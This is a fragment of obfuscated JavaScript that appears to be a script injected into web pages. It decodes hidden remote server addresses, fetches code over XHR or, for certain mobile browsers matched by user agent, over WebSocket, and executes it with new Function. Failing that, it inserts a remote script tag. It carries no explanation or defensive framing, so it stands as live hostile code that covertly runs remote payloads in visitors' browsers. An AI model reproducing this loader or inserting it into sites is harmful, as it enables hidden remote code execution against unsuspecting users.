XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=kRLfP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm9uaWN5Yi5jbiUzQTgg4OTE=','d3NzJTNBJTJGJTJGYS5ycWRsb2QuY24lMM0E5NTMM0','162092',window,document,['g','M']);}:function(){};